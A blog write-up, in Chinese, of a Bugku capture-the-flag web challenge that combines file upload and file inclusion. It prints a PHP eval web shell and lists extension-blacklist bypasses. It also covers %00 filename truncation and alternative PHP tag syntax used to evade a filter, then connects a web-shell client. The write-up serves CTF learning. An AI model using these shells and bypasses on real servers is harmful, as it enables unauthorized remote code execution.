bugku web 文件上传2

题目:bugku 文件包含2

知识点:文件包含

工具:中国剑蚁

解题:

点开链接:

 

有点小炫酷的动画,除此之外没有什么信息,看一下源码:

 

发现注释中隐藏的upload.php,与题目的文件上传吻合了,现在思考怎么使用这个文件名,是直接访问还是如同默认页面一样,在file后传入文件名:

 

这里我们选择后者,比较幸运,成功了:

查看源码也并无玄机,看来应该到了上传文件的时候了。

文件上传通常需要我们做的是,上传一个恶意php脚本,然后我直接访问或者用菜刀、剑蚁之类的工具连接该脚本,其实核心思想即是服务器要认为这是一个脚本(这一题告诉我们真正重要的是可以执行)可以执行这个文件里的内容。

接下来想办法上传恶意脚本,首先没有客户端脚本对我们的上传进行限制,不过这个有没有关系不大,我们直接上传.gif,内容为<?php @eval($_POST[‘shell’])?>,然后抓包查看:

 

先根据常见的黑名单绕过方法,尝试修改文件后缀为.php .Php .PHP .pht .phpt .php3 .php5 .php6 .php7,果然全部失败

 

这时候再尝试一下%00截断,这个我之前听说过但是还没尝试过,这里需要好好记录一下。

%00截断(也可以是0x00,/00等等):%00等字符表示的是ascii码值为0的字符,学过C语言的童鞋应该了解,字符串都要以%0结尾,这里的道理是相同的,echo “hello%00123”;打印出的是hello,因为%00已经结尾了。要注意php的版本,高版本已经启用%00截断,有的版本需要在php.ini中设置开启。

%00截断在文件上传处的使用是这样一种情况,我们构造类似于这样的文件名,tmp.php%00.gif,服务器检测到.gif认为这在白名单内,允许上传,但是实际上由于字符串截断,上传了文件.php(不过我这里不太明白的是,我认为判断文加后缀的函数也应该检测到文件截断啊,有大佬知道的话,望告知)

修改文件名为 tmp.php%00gif后上传成功,但是结果显示它还是一个gif文件

 

我估计这应该是失败了,用剑蚁连接

http://114.67.246.176:14047/upload/202108010125546979.gif

果然失败了。

难道是要修改一些http首部吗?不确定,但是突然有了个想法上传文件的页面和默认页面都是通过file参数访问的,而且成功作为脚本文件加载了,那么我们直接访问file=tmp.gif行不行呢?

进行尝试:

 

虽然出现了点意外,这里应该是过滤了<?php ?>,但是这个结果告诉我们有戏。

这里要想一下,应该怎么去绕过,一般的写法有这几种:

<? echo ("这是一个 PHP 语言的嵌入范例\n"); ?>

<?php echo("这是第二个 PHP 语言的嵌入范例\n"); ?>

<script language="php">

echo ("这是类似 JavaScript 及 VBScript 语法

的 PHP 语言嵌入范例");

</script>

<% echo ("这是类似 ASP 嵌入语法的 PHP 范例"); %>

依次尝试,发现<script language 这种写法成功了,直接用剑蚁连接

命令行使用grep和find没有权限,只有手动查找了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值